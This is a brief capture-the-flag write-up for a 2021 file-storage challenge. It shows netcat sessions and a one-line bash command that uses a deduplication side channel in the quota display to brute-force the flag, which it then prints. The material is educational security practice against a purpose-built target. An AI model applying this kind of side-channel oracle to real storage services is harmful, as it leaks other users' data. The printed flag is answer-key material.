FILESTORE

Description

We stored our flag on this platform, but forgot to save the id. Can you help us restore it?

filestore.2021.ctfcompetition.com 1337

Solution

Let's analyze the challenge

$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit

So we can

• load -> retrieve the stored text using the id

Send me the file id...
QpNmkzQzzHy4SV8i
123

• store -> store some text

Send me a line of data...
123
Stored! Here's your file id:
QpNmkzQzzHy4SV8i

• status -> view the memory status

User: ctfplayer
Time: Sun Jul 18 20:11:24 2021
Quota: 0.026kB/64.000kB
Files: 1

• exit -> close the connection

Before analyzing the given file we started to make some test and found that if we enter CTF{ the Quota value didn't change

$ nc filestore.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Welcome to our file storage solution.

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 20:16:51 2021
Quota: 0.026kB/64.000kB
Files: 1

Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
kVLwEEpyVwpqwoI4

Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sun Jul 18 20:16:59 2021
Quota: 0.026kB/64.000kB
Files: 2

So maybe we can bruteforce one character of the flag per time I use this bash command and find each character in the flag. x_x

$ echo "store\nCTF{\nstatus\nexit" | nc filestore.2021.ctfcompetition.com 1337 | grep Quota

FLAG >> CTF{CR1M3_0f_d3dup1ic4ti0n}